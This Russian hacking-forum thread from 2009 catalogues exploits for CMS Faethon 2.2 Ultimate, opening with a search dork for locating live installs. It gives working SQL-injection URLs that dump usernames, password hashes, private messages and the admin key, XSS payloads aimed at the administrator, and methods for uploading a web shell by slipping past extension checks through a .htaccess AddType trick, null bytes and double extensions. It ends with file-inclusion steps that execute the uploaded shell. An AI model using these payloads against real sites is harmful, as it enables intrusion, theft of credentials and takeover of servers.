CMS Faethon 2.2 Ultimate

Discussion in 'Веб-уязвимости' started by eLWAux, 14 Apr 2009.

  1. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    [​IMG]
    скачать: http://cmsfaethon.org/downloads/#22ultimate
    dork: "Powered by CMS Faethon"
    очень интересная cms) никаких проверок, никаких фильтраций, и подобного..
    в общем, баги присутствует почти в каждом файле)


    BlindSQLinj vote.php:
    /vote.php?alt=' blindSQLinjection--+ - только один раз с одного ip
    PHP:
    $result=sql_query("SELECT ip FROM ".$SQL_PREFIX."_survey_ip WHERE ip = '".$your_ip."'");
        
    $survey sql_fetch_object($result);
        
        if(!empty(
    $survey->ip))
        {
            echo(
    $lang['already_you_voted']);
        }
        elseif(empty(
    $survey->ip))
        {
            
    //vypis poctu hlasu u odpovedi $_GET['alt']
            
    $result=sql_query("SELECT votes, survey_id FROM ".$SQL_PREFIX."_survey_alternatives WHERE id = '".$_GET['alt']."'");
    SQLinj info.php:
    /info.php?item=' union select concat_ws(0x3a,username,password,string),2 from <PREFIX>_users where id=1--+
    /info.php?item=' union select concat_ws(0x3a,from_user,to_user,subject,text,date_send,date_read),2 from n07_users_pms limit x,x--+ - читаем ПМ :)
    /info.php?item=' union select adminkey,2 from n07_config where cfg=1--+ - читаем админ_ключ

    PHP:
    $result=sql_query("SELECT title, text FROM ".$SQL_PREFIX."_html_sections WHERE address = '" $_GET['item'] . "' "$multilang -> sql .";");
    по дефолту , <PREFIX> ]= n07
    Формирование паролей:
    PHP:
    function GetHash($password$string)
        {
            
    $passwd $password $string;
            return 
    sha1($passwd);
        }
    SQLinj author.php:
    /author.php?id=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+
    /author.php?name=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+
    PHP:
    if(isset($_GET['id']))
        {
            
    $result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE id = '" $_GET['id'] . "';");
        }
        elseif(isset(
    $_GET['name']))
        {
            
    $result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE item = '" $_GET['name'] . "';");
        }
    Раскрытие путей::
    /?SetLang[]=eng
    /gallery/image.php?id[]=175
    /articles.php?from_date[]=1-2-3&to_date=1-2-3


    XSS::
    /article.php?item=">XSS<a href=

    XSS в ПМ-сообщениях::
    можно отправить админу пм )
    /user_pms.php?action=new_msg
    Code:
    	Komu: ..
    	Předmět: <script>alert('O_o');</script>
    	Message: ..
    в админке /admin/ ::
    дамп - /admin/acp/backup/dump.php
    $_POST['backup'] = 4; //Download
    $_POST['akce'] = SaveDump ;
    ^^ надо передать post запросом
     
    5 people like this.
  2. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Админка.

    [admin\files-manager\action.php 31 line]
    Быстренько просмотрев код... Блеклисты не рулят =))
    PHP:
    if(eregi('\.php$'$_FILES['file']['name'][$i]) || eregi('\.php3$'$_FILES['file']['name'][$i]) || eregi('\.php4$'$_FILES['file']['name'][$i]) || eregi('\.php5$'$_FILES['file']['name'][$i]) || eregi('\.phtml$'$_FILES['file']['name'][$i])) 
    Сочиняем .httaccess и грузим
    Code:
    AddType application/x-httpd-php .jpg
    Также помним что eregi чуствительна к нулл байту ;)
     
    2 people like this.
  3. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Также помним, что PHP проводит нормализацию пути:
    shell.php/
     
    2 people like this.
  4. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Продолжим :)

    http://localhost/22_ultimate/admin/?cmd=gallery.images

    [/admin/gallery/upload.php 50 line]

    Мега защита =)

    PHP:
            $rozdeleni explode("."$_FILES['image']['name'][$i]);
            if(
    $rozdeleni[1] == "jpg" or $rozdeleni[1] == "JPG"
            {
    Если у нас shell.jpg.php, то:

    Code:
    [B]Array ( [0] => shell [COLOR=Red][1] => jpg[/COLOR] [2] => php ) [/B]
    Опять таки Заливка шелла. Проблема что заливается с расширением Array[1].
    RFI
    Рассмотрим admin\acp\extensions\index.php
    Существует вот такой вот код.
    PHP:
    if($_GET['op'] == 'install') {
        
    $cms_root '../';
        
    $path '../ext/install.' $_GET['ext'] . '.php';
        
    $chksum md5_file($path);
        
        if(
    file_exists($path)) {
            
    $result=sql_query("SELECT chksum FROM ".$SQL_PREFIX."_ext WHERE chksum = '" $chksum "';");
        
    $row_array sql_fetch_row($result);
        if(
    $row_array[0] != $chksum) {
                include(
    $path);
    Есть инклуд
    PHP:
    include($path);
    Обращаемся к скрипту:
    index.php?op=install&ext=[path]

    $chksum
    - ето у нас путь в md5.
    Скрипт не может сделать sql_query, так как нет такого класа. Следовательно sql_fetch_row не выполнится тоже, а $row_array[0] не будет ровно $chksum. Имеем include($path);

    LFI

    /admin/acp/restore/restore.php

    PHP:
    elseif(isset($_POST['download']))
        {
            
    header('Content-Description: File Transfer');
            
    header('Content-Type: text/x-sql');
            
    header('Content-Disposition: attachment; filename="'$_POST['file'] .'.sql"');
        
            include(
    '../store/'$_POST['file'] .'.sql');
        }
    POST file=../../../gallery/data/{nameofgallery}/full/shell.jpg}&download=
     
    #4 Dimi4, 14 Apr 2009
    Last edited: 14 Apr 2009
    1 person likes this.